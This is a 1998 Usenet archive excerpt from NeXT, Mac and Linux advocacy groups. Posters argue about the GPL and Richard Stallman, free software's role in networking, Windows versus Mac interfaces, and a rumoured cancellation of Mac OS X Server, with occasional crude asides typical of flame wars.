References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <70def2$7t$1@nnrp1.dejanews.com>
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NNTP-Posting-Date: Sun, 18 Oct 1998 18:50:56 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 18 Oct 1998 17:50:23 -0500
tmoran@hotmail.com wrote:
[cut]
> [1] As a side note, while it's at least arguable that some proponents of the
> "older style" of argumentation for free software _are_ making a claim of more
> or less this sort, I'd say the open source initiative is characterised by the
> soft-pedalling ("non-pedalling"?) of the "moral" rhetoric...
If the "moral" rhetoric were going away, so would the GPL. There's no
reason for that sort of license if your intent is not to remove
commercial vendors from the picture (which will never happen, anyway).
The open source initiative should be characterized by an old saying: "If
you want something done right, do it yourself". Or, if you like, "My
solution works for me; if you want something else, write it yourself".
The free software movement is fueled by people who are doing it
themselves. They wanted something else, so they're writing that
something else themselves.
There's nothing wrong with saying "my commercial app is inadequate; I'm
going to write an alternative". One of the major incentives is the fact
that many commercial apps don't have Linux versions. It's a blessing to
have such free software authors working so hard, because it provides
both an alternative *and* a source of pressure on commercial vendors to
improve their products to meet customer demand.
Of course, another major incentive is that commercial software can be
expensive, in which case it is sometimes similarly "inadequate". Yet
another blessing is that many of us who could not justify the purchase
of commercial software can now make use of technology that was
previously inaccessible.
I think that this is the key: free software makes software accessible.
It makes pervasive a great many technologies that were previously out of
reach of the common man (which is how we cheap laborers and college
students think of ourselves). Unfortunately, as will happen with any
grassroots movement, a number of witch doctors have adopted the mantle
of spiritual guidance to the cause, and calling themselves "spokesmen",
have pre-empted the efforts of free software developers with what
appears to be a cult of personality. The intense moral pitch to which
the "leaders" of the free software movement have whipped their followers
is highly disturbing. It's fundamentally wrong to assign moral
importance to the free software cause, but what is really frightening is
that it's gone so far.
MJP
Message-ID: <362A6D75.365BD954@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <70cesn$26p$2@news.idiom.com> <362A307E.F06DA670@nstar.net> <slrn72kecv.246.dblake@209-142-19-207.oak.inreach.net>
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NNTP-Posting-Date: Sun, 18 Oct 1998 18:37:10 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 18 Oct 1998 17:36:37 -0500
Dave Blake wrote:
> Linux has better SMP than Solaris for the number of processors
> in the development tree (I think it is 8).
Where is this info? At the "Future of Linux" conference I believe Linus
himself said that Linux SMP had a ways to go before it matched vendor
quality.
[cut]
> >In most cases, free software is the fruit of effort by people who like a
> >commercial product but want it changed, somehow.
>
> I think the equivalent statement is
> In most cases, free software is the fruit of effort by people for
> whom a commercial product just didn't match their needs.
>
> For example, INN. Sendmail. X windows. Apache. TeX and LaTeX and
> LyX and kLyX.
What's the freeware equivalent of X windows? XFree86 is an
implementation, just like the vendors have their own implementations.
All work from the same codebase.
> As an example of ONE of those, Knuth invented TeX because commercial
> word processors have a really hard time displaying equations with
> Greek symbols. Now, LaTeX is the standard for document creation
> worldwide for mathematics. And you know what - it really does make
> equation displaying a breeze. LaTeX was created from TeX. LyX was
> the addition of more functionality - WYSIWYG. kLyX added yet more
> functionality with a widget set.
Yet KLyX's Web page says that KLyX is not a word processor; it's a
typesetting app. The comparison is not valid. There are any number of
commercial equation editors that could be compared, if that's the real
value of LaTeX.
> It is reverse engineering someone else's idea and adding functionality.
> That is the essence of EVERY new product created that does anything.
> Putting it in the GPL means that when someone else wants to add
> further functionality, they don't have to start by re-inventing
> the wheel.
Putting software under GPL means that it's no good to anyone who wants
to protect their derivative. So-called "unencumbered software", like
PNG, is a totally different proposition, and it's used by many
commercial vendors. The GPL paradigm was invented under the notion that
free software is *morally* superior, hence the "viral" nature of GPL.
If commercial software is at times inadequate, the solution is hardly to
build a growing body of software that *cannot* be used to build
commercial applications, unless you actually believe that there is an
imperative to drive commercial software from the industry. If that's
your bag, you've got the same problem RMS has.
> I think you are looking at the wrong free software.
Thank you. My point exactly.
> Free software
> dominates the networking environment. Apache/linux powers web
> servers. Sendmail is the world's email postal service.
"Dominates"? I don't think so. It's funny how Apache and Sendmail are
the perennial examples; most FSF advocates are hard-pressed to come up
with many others. Every time I'm told about the wonders of free software
I'm told "Apache this, Sendmail that". Of course! And what else?
> In the case of GNOME, I think you will eventually see that they are
> doing the right thing. First, make a really really solid toolkit,
> like GTK, which is more full featured than QT.
*laugh*
> Then, think about what
> you want in a desktop environment. One important thing is communication
> between programs. So use mico. But mico blows,
*laugh*
> so write a very full
> featured object request broker library that uses CORBA. The
> groundwork has been laid, and now efforts are underway to
> use these great tools and make great apps. KDE built on a somewhat
> less solid foundation, so it remains to be seen if they will be
> able to solidly implement CORBA after the fact.
Whatever. I'm not going to get into a KDE versus GNOME war. The
technical superiority of KDE/Qt speaks for itself. There is nothing more
to say, except "how's that GTK port of Mozilla coming along?"
> If you would have any idea of what the computing world would
> look like without free software, you would know.
I suppose you know what it would look like, right? Sounds like more of
the reverse-prophecy I'm accustomed to hearing from FSF advocates.
MJP
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <3629ca02.0@nnrp1.news.uk.psi.net>
Date: 18 Oct 98 10:59:14 GMT
"Michael J. Peck" <mjpeck@nstar.net> wrote:
<snip>
>I don't
>answer to anyone else with my Linux box or my Linux software. Or, at
>least, I didn't used to. GNU would like to change that, and nothing
>makes me angrier.
And what colour is the sky on your planet? The whole aim of the FSF
is precisely to ensure that you DO have freedom (including the freedom
to not 'answer to anyone else' wrt software. If you are talking about
the freedom to 'rip-off' the software, incorporate it into your own
software, and sell the resulting software, how does the GPL restriction
that you may not do that differ from the conditions of the commercial
software you claim to be happy with?
<snip>
>To date GNOME has received
>more financial backing than any other GNU project, including the Linux
>kernel (funny, isn't it? GNU has barely supported the Linux kernel,
>favoring its own alternatives. Yet now RMS wants us to call it GNU
>Linux).
I don't know about the financial backing bit, but the second part is an
outright lie. RMS has advocated calling a complete system that is (say) 80%
GNU software with a Linux kernel a GNU/Linux system - he's NEVER advocated
calling the kernel anything other than Linux!
Where do these paranoid fantasies about GNU come from?
From: "WaldoTim" <waldotim@yahoo.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Sun, 18 Oct 1998 21:31:58 -0400
Organization: UltraNet Communications , an RCN Company http://www.ultranet.com/
Message-ID: <70e4pg$hq2$1@strato.ultra.net>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237>
Alexandre A. S. wrote in message ...
>In article <36184884.D44FFF6C@nstar.net>, Michael Peck <mjpeck@nstar.net>
wrote:
>
> Ever tried to dump a folder inside Win95/98's trash, and then trying
>to get it back? You can't. You'll get a mishmash of files. That's not what
>_I_ would expect the computer to do.
Oh, come on! You act like Macs never have a bad day! Computers,
like everything else in the universe (including your brain, obviously) are
subject to entropy, or a tendency to move toward maximum randomness.
To quote Forrest, "Shit Happens". Get over it. I've been using Windows
since the 2.0 days, and I got my first copy of Windows95 when it was still
in
public beta. I've never had a problem with the recycle bin. In fact, it
works
a lot better than I originally expected it to. Just like a Mac, in fact. :)
So Windows does weird things once in a while. But, I'll tell you what: so
does Solaris, NeXT, Linux, whatever SGI runs on their boxes (no personal
experience there-- just legends around the water cooler), and, perish the
thought! Mac OS.
> I could mention thousands of other
> things like this one, examples of Windows' idiotic behaviour.
Yet you don't, which throws your credibility into doubt. Come up with
some specific, objective reasons why Windows' GUI is defective. Really.
I love to argue about this. :)
> For me, the GUI is everything. I decide what
>I use today based on its GUI, after all, that's what I'll be seeing and
>interacting with. What an example? I like Netscape's GUI better than IE. I
>know IE draws pages from the cache faster, but still I use Netscape. It's
>just a pleasant product, I guess.
I'll just throw in here that Netscape was wreaking such havoc with both
the network and the Help Desk open call count that I had to get the
division president to authorize me to force everyone to drop it and use.
For a bunch of people who whined so much about Microsoft's
"arbitrary departure from established standards", Netscape obviously
didn't look at RFC.822 very closely.
In my unsolicited personal opinion, Netscape is the second-ugliest
piece of software I've ever seen, the first being Microsoft Publisher. But
then, I like skinny flat-chested women with short dark hair and rings in
their
noses, so my opinions are highly suspect anyway. :)
> Just because no new features were introduced doesn't mean we should
>stop and don't improve on the current ones. Win98 did nothing to improve
>Win95's already horrible GUI, in fact, it only made it worse!
Again, no examples. Most of the people I talk to usually come out with
something like "Hmmm... Doesn't seem much different, does it?"
-Tim
p.s. sorry about the cheap shot about your brain. I'm feeling peevish. I
spent
all day trying to get a Mac to recognize a non-Apple SCSI CD-ROM
drive. :( Any hints?
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Mon, 19 Oct 1998 02:01:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70e6ia$55l$1@nnrp1.dejanews.com>
References: <tim-1610982233450001@jump-tnt-0185.customer.jump.net> <B24DB419-18FAE@206.165.43.124> <tim-1710980845220001@jump-tnt-0140.customer.jump.net> <70bsns$3dn$1@nnrp1.dejanews.com> <tim-1810981102270001@jump-tnt-0230.customer.jump.net>
In article <tim-1810981102270001@jump-tnt-0230.customer.jump.net>,
tim@jumpnet.com (Tim Olson) wrote:
> Yes, but is it used often enough to require direct hardware implementation?
Hard to say. What's the hardware cost of implementing it?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Message-ID: <362AAC96.42C72F92@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
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NNTP-Posting-Date: Sun, 18 Oct 1998 23:06:31 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 18 Oct 1998 22:05:58 -0500
Dave Blake wrote:
[cut]
> The LGPL is for cases where someone would like to use the
> functionality of a GPL library without having their program
> be open source also.
It's sort of an odd distinction, in my opinion. Why libraries, but not
raw code?
> You seem to be advocating public domain free software instead
> of GPL, more like Larry Wall than RMS.
That's about right. I mean, if you're really giving the software away,
it means you're not asking for something in exchange. Truly "free"
software wouldn't have strings attached. The fact of the matter is that
"Free Software" has a cost; it's just not measured directly in dollars.
It *can* be, though...
> This is not a problem. He who writes the code has every right to
> choose the licensing. If you don't like it don't use it.
I'm not attacking RMS's rights. I'm attacking the notion that there is a
moral imperative to require others who use my code to require others who
use their code to require others...
It's a laughable notion, and it's a tragedy that it survives on the work
of dedicated and generous people.
> >"Dominates"? I don't think so. It's funny how Apache and Sendmail are
> >the perennial examples; most FSF advocates are hard-pressed to come up
> >with many others. Every time I'm told about the wonders of free software
> >I'm told "Apache this, Sendmail that". Of course! And what else?
>
> I was referring to the "networking environment."
> Web serving is dominated by Apache/Linux.
> Email delivery by sendmail (and various pop/imap servers).
> Usenet servers are dominated by INN ( and at one time
> readers by rn).
>
> That is a whole lot of the networking environment run on
> open software.
It certainly is, but prevalence of open source software doesn't speak to
the technical superiority of same.
[I think you mean "open source software"]
> Free software tends to dominate in cases where good programmers
> found commercial software inadequate.
I totally agree; I've said as much already.
> That is clearly not all cases,
> although I think the software world is moving in that direction.
I think the software world is moving in a direction of constant
improvement, and free software is an important part of that dynamic. I
don't think it "dominates", and I don't think it should.
> The more the net grows, the more potential there is for
> excellence in open software (as it becomes easier to communicate
> with others).
This is definitely true. I often wonder how free software survived at
all without the Internet. TBL supposedly developed HTTP for the purpose
of facilitating collaboration between engineers; it's certainly been
successful at that.
I don't think that companies necessarily come up with all the good
ideas. I think people come up with all the good ideas, and in the
software industry a great many of those people do not decide to sell
their ideas. That's a wonderful thing, but it should not be allowed to
discourage those who *do* decide to sell their ideas (and, just as
important, their implementations of those ideas).
MJP
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: 19 Oct 1998 02:54:07 GMT
Organization: University of Illinois at Chicago
Message-ID: <70e9kf$20ju$1@piglet.cc.uic.edu>
Michael J. Peck (mjpeck@nstar.net) wrote:
: Anil T Maliyekke wrote:
: > How is data transfer being implemented? The problem I see
: > is that X applications are not necessarily running on the same
: > machine, so there must be some way of exchanging data between the
: > two machines that's coordinated by the machine displaying the
: > applications.
: Data transfer is accomplished through the server. Both applications will
: be accessing the same display server, so it's a common point of
: exchange. The client sends the data to the server, which makes it
: available to the next client to request it.
Seems a bit bandwidth intensive, especially if you are talking
about dragging and dropping multiple files or putting large graphic
objects into the clipboard.
: [cut - Mainframe]
: I'm not saying the mainframe is extinct. I'm saying that Unix is
: responsible for ending the Age of the Mainframe as known during the
: 1960s and 1970s.
: [cut - openness and standards]
: If you like. Enterprises are looking for more pervasive computing and
: they are not going to use mainframes to achieve that, in my opinion.
: It's a toss-up between Unix and Windows NT, and I have already picked my
: winner.
Pervasive computing isn't going to be achieved with NT or UNIX.
Pervasive computing means more devices everywhere, many of which
will use light-weight OSes.
Anyway in terms of their core IT infrastructure, companies are looking for
fewer machines. That means recentralization. That's why Sun
and HP are advertising their big SMPs as being like mainframes.
: > Besides, costs for OS/400 systems have come down considerably, and
: > they come with database included. Low end systems can be had for under
: > $10,000. And with more and more hardware being shared between RS/6000
: > and AS/400 systems, OS/400 systems will likely get only cheaper.
: I understand. I still don't buy the mainframe resurgence thing. Most
: corporations will not forget Y2K :-)
: MJP
Year 2K is an application thing, not a mainframe thing. Plenty
of non-mainframe hardware needs updating. Besides AS/400's
are minicomputers.
Message-ID: <362AB5AC.486BB4C1@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <3629ca02.0@nnrp1.news.uk.psi.net>
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NNTP-Posting-Date: Sun, 18 Oct 1998 23:45:19 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 18 Oct 1998 22:44:44 -0500
Richard Frith-Macdonald wrote:
> And what colour is the sky on your planet? The whole aim of the FSF
> is precisely to ensure that you DO have freedom (including the freedom
> to not 'answer to anyone else' wrt software.
What?! Exactly how does FSF do that? By providing a restrictive and
reproductive license? That sounds like a wonderful idea.
I have a better idea than that, even: how about a license that allows
people to give away their software, protects them from liability
(software provided "as is"), and ensures that the proper person is given
credit for their effort?
> If you are talking about
> the freedom to 'rip-off' the software, incorporate it into your own
> software, and sell the resulting software,
Oh, please, Richard. If I use Free Software am I "ripping it off"? Or is
it a "rip-off" only if I improve it?
[shakes head]
> how does the GPL restriction
> that you may not do that differ from the conditions of the commercial
> software you claim to be happy with?
Commercial software doesn't claim to be "free". It claims to be
proprietary for-cost software.
If I'm developing free software, in my case, that means that I'm giving
it away. If someone wants to sell it, fine, but they won't sell very
many copies because you can get it for free elsewhere. If they want to
improve it and sell the improvements, they're welcome to do that. After
all, they're selling *their* improvements, not *my* free software.
For that matter, suppose I develop free software but don't provide a way
of distributing it (because I cannot afford to). Someone who *does*
provide distribution is welcome to sell it because they are providing a
valuable service. Why do you think software publishing is such a big
business?
FSF has decided that there are certain ways that "Free" software can (as
in the just-above example) and cannot be sold. What utter, pretentious
bullshit. RMS pretends to have invented the "moral" way of being
generous. It would be one thing if he were preaching on the
responsibilities of those who use Free Software. It's quite another that
he preaches on the responsibilities of developers, themselves, who want
to make use of and improve Free Software in their own efforts. In
effect, those who contribute nothing and simply take the effort of
others are completely free of obligation, but those who create and
improve and add value are constrained in their ability to profit from
their honest work.
> I don't know about the financial backing bit, but the second part is an
> outright lie. RMS has advocated calling a complete system that is (say) 80%
> GNU software with a Linux kernel a GNU/Linux system - he's NEVER advocated
> calling the kernel anything other than Linux!
Poor choice of words. The pronoun "it" was actually not intended to
refer to the kernel, although it's directly in that context. Stallman's
exhortation to use "GNU Linux" to describe Linux system which use GNU
software is confusing and inappropriate, and it distracts attention away
from Linux toward GNU. Microsoft Windows is called Microsoft Windows
because the operating system was written by Microsoft. It doesn't matter
whether or not I use nothing but Adobe applications on it, it's not a
"Microsoft Windows-based Adobe system". Microsoft would sue for such a
misuse of terms. Here is RMS's opinion on the matter:
<quote>
> When the people who use
> what is essentially the GNU system think of themselves as "Linux
> users", and not as "GNU users", often they don't see a reason
> cooperate with the people who maintain the GNU software. This leads
> to version-skew and unnecessary incompatibility.
[Ed: note that the purpose is to unify "cooperation"...]
> One way to help unify the community, and gently encourage more
> cooperation, is to use the term "Linux-based GNU system" to
> describe these systems more accurately.
</quote>
> Where do these paranoid fantasies about GNU come from?
My planet, of course.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 18 Oct 98 23:07:48 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2502546-2F8EE@206.165.43.5>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.programmer.misc,
nntp://news.primenet.com/comp.sys.next.advocacy
I just added comp.sys.next.advocacy to this.
My response is that I apparently just purchased 2 new harddrives for
nothing. My hope was to boot MacOS X server off of one, and the
unsupported MacOS X consumer product off of the other so that I could at
least attempt to program for the future using my three month old 7300/180.
What do the NeXT developers and community think of this rumor?
Jayfar <jayfar@netaxs.com> said:
>
>Don Crabb just reported on MacCentral
>
> <URL:http://www.maccentral.com/news/9810/18.macosx.shtml>
>
> * "According to several Apple customers who attended the Apple
> * annual report press conference in Vienna, Austria on Friday,
> * October 16, the Mac OS X 1.0 Server has been cancelled..."
>
>Crabb expresses the hope that it may just be a "confusion between the
>beta's of Mac OS X and the actual Mac OS X 1.0 Server..."
>
>I don't know, but really had to wonder when Apple first announced Mac OS X
>Server as a 1.0-only proposition -- sounded DOA to me. Would YB on NT (or
>on Linux?) be the upgrade path for those running Mac OS X Server 1.0 on
>Intel? Or was the greatly insane idea that companies would simply
>migrate, from Intel to Mac, when they were ready for a 2.0 release? What
>kind of performance hit is introduced by running apps on Yellow Box, as
>opposed to native Rhapsody/Mac OS X Server?
>
>Cheers,
>Jayfar
>--
>Jay Farrell Jayfar's Original Virtual Macintosh
>jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
>Philadelphia, USA
<URL:http://www.netaxs.com/~jayfar/live.desk.html>
>
> Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/
>>
>
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: Sun, 18 Oct 1998 23:48:28 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1810982348290001@1cust173.tnt1.santa-barbara.ca.da.uu.net>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <6vlct5$n66$1@nnrp1.dejanews.com> <6vopcb$1p8@news1.panix.com> <36228820.434A@earthlink.net> <6vvqfl$qfl@shelob.afs.com> <701f84$nkq$1@msunews.cl.msu.edu>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <701f84$nkq$1@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
> How about this:
>
> MacOS X Server $1299+ship
> (iMac included)
IIRC a Apple representative on the rhapsody mail list said that macos x
server wont run on Imacs, at least initially, due to its usb
--
sucky sucky, $10.
Cartman as a vietnamese prostitute
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 19 Oct 1998 07:37:16 GMT
Organization: Idiom Communications
Message-ID: <70eq7c$dop$1@news.idiom.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu>
<360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com>
<36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com>
<361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com>
<6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com>
<6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com>
<6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com>
<joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu>
<ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <ericb-0310981902260001@r4149.resnet.cornell.edu>
<01bdef38$8ec16d10$06387880@chewy> <3616049A.6DA9@southwind.net>
<ckoller-1710981059160001@172.los-angeles-05.ca.dial-access.att.net> <36290128.BEF527F9@nstar.net>
<70cf0e$26p$3@news.idiom.com> <362a1a8d.0@news.together.net>
Mime-Version: 1.0
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Cc: ltogar@msn.com
"Lance Togar" may or may not have said:
[snip]
-> >-> What's difference between the second choice and Microsoft?
-> >
-> >About five orders of magnitude of code quality, for a start.
-> >
-> ..
-> Probably seen a lot of MS source... eh?
You don't need to see the sources to know when a program is crap. When a
word processor can be crashed by reading a document that it *created*, it's
crap.
Also, I've met enough MS coders at the SF conventions up in Seattle to know
that ignorant children such as they, will never write anything I want to use.
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Mon, 19 Oct 1998 12:55:43 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <3642a1db.32513202@news.supernews.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <363bd443.79179339@news.supernews.com> <01bdf462$dcd104a0$42d89a8e@zeus> <joe.ragosta-1010981709250001@elk68.dol.net> <70e29s$arc$1@strato.ultra.net> <70e2t3$a48$1@oak.prod.itd.earthlink.net>
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Quoting "The Meister" <meisterville@earthlink.net> from
alt.destroy.microsoft; Sun, 18 Oct 1998 20:55:39 -0400
>In the book HArd Drive the authors do say that both Microsoft and Apple
>bought the rights and then hired the programmers from Xerox PARC division to
>develop the gui interface. Both of them then developed it to suit their
>needs, after which Apple sued Microsoft for copyright infringement. I am
>not a Microsoft fan but the facts speak for themselves. (at least one
>version of them)
>meisterville@earthlink.net
Well, judging by the way they described the Apple/Microsoft suit,
I'd say this wasn't a version of the facts. An odd, and very
encapsulated telling of the facts, maybe.
From bits I've pieced together (alas, this is not the definitive
telling we all desire), Apple paid some amount of money to Xerox for
"access to the technology" of unspecified nature. This arrangement
allowed Apple to develop a GUI in whatever way they desired with no
intellectual property right claims by Xerox. Apple built it's GUI,
with undetermined reliance on any Xerox algorithms or methods, but
using some of the basic ideas developed at PARC. Microsoft
programmers were involved in this effort as the Mac OS was being
developed. Any code rights between Apple and Microsoft are not, and
as far as I know, have never been, under contention.
The GUI that Apple built only loosely resembled the one that Xerox
made. The GUI that Microsoft eventually rolled out for Windows was
much more similar to Macintosh than just about any other GUI up to
that point. It was quite distinctly different, though, although
some of the basic controls were indisputably lifted from the Finder
and the Macintosh world.
Apple sued Microsoft, following the success of Windows 3, for
infringement of intellectual property, saying that the "look and
feel" of Windows was a violation of Apple's copyright on the Mac OS.
Apple lost.
The next version of Windows, almost predictably, far more closely
resembled the Finder, so it seems that this was in fact the intent
all along.
Fortunately, this simply means that Microsoft has done us the favor
of proving that "look and feel" cannot be copyrighted. So that when
Linux is a competitive alternative to Windows, we can include any
useful additions to the GUI paradigm that Microsoft's Windows has
made familiar. I'm hoping for universal keyboard control of the
menu system, personally. :-)
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Mon, 19 Oct 1998 12:55:45 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <3643a4c1.33254630@news.supernews.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net>
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Quoting "WaldoTim" <waldotim@yahoo.com> from alt.destroy.microsoft;
Sun, 18 Oct 1998 21:31:58 -0400
>
>Alexandre A. S. wrote in message ...
>>In article <36184884.D44FFF6C@nstar.net>, Michael Peck <mjpeck@nstar.net>
>wrote:
>>
>> Ever tried to dump a folder inside Win95/98's trash, and then trying
>>to get it back? You can't. You'll get a mishmash of files. That's not what
>>_I_ would expect the computer to do.
>
> Oh, come on! You act like Macs never have a bad day! Computers,
>like everything else in the universe (including your brain, obviously) are
>subject to entropy, or a tendency to move toward maximum randomness.
> To quote Forrest, "Shit Happens". Get over it. I've been using Windows
>since the 2.0 days, and I got my first copy of Windows95 when it was still
>in public beta.
It still is in public beta. Now it's called Windows98.
> I've never had a problem with the recycle bin. In fact, it works
>a lot better than I originally expected it to. Just like a Mac, in fact. :)
I have. I know just the kind of random behavior he's talking about.
Mac's trashcan is far more trouble-free.
> So Windows does weird things once in a while. But, I'll tell you what: so
>does Solaris, NeXT, Linux, whatever SGI runs on their boxes (no personal
>experience there-- just legends around the water cooler), and, perish the
>thought! Mac OS.
Yes, but nowhere near as /often/ as Windows. It's almost to the
point where you can predict how and when it will be unpredictable!
>> I could mention thousands of other
>> things like this one, examples of Windows' idiotic behaviour.
>
> Yet you don't, which throws your credibility into doubt. Come up with
>some specific, objective reasons why Windows' GUI is defective. Really.
>I love to argue about this. :)
What, the GUI, or the code, or the OS, or the shell, or the UI, or
the API, or the GDI? Which "Windows GUI" are you referring to?
> I'll just throw in here that Netscape was wreaking such havoc with both
>the network and the Help Desk open call count that I had to get the
>division president to authorize me to force everyone to drop it and use.
> For a bunch of people who whined so much about Microsoft's
>"arbitrary departure from established standards", Netscape obviously
>didn't look at RFC.822 very closely.
> In my unsolicited personal opinion, Netscape is the second-ugliest
>piece of software I've ever seen, the first being Microsoft Publisher. But
>then, I like skinny flat-chested women with short dark hair and rings in
>their
>noses, so my opinions are highly suspect anyway. :)
Yea, Netscapes got problems too. Microsoft Published is so comical
I wouldn't put it in the category "piece of software". And short
but not-so flat-chested with rings in other places as well is also
good. :-)
>> Just because no new features were introduced doesn't mean we should
>>stop and don't improve on the current ones. Win98 did nothing to improve
>>Win95's already horrible GUI, in fact, it only made it worse!
>
> Again, no examples. Most of the people I talk to usually come out with
>something like "Hmmm... Doesn't seem much different, does it?"
Any individual "example" would simply be nit-picking, and would be
dismissed as such. The point is, most people don't see any
difference, because most people barely do anything. As long as they
click to the three or four apps they know about, it all looks pretty
much the same. To those who still know what it is like to /run/
their computer, instead of take it for walks, they've shrunken it
down yet further towards "the smallest possible set of useful
functions".
They further confused the file management interface paradigm by
adding Internet Explorer-style windows to the Finder, Explorer, File
Manager, and DOS command line interfaces. Is that an "example"?
Because it doesn't near encapsulate well enough how it has been made
"worse" for the addition.
>p.s. sorry about the cheap shot about your brain. I'm feeling peevish. I
>spent
>all day trying to get a Mac to recognize a non-Apple SCSI CD-ROM
>drive. :( Any hints?
It's a mac. It either works or it doesn't. :-)
Get a different CD-ROM. :-(
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Mon, 19 Oct 1998 13:04:55 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70fddn$rts$1@nnrp1.dejanews.com>
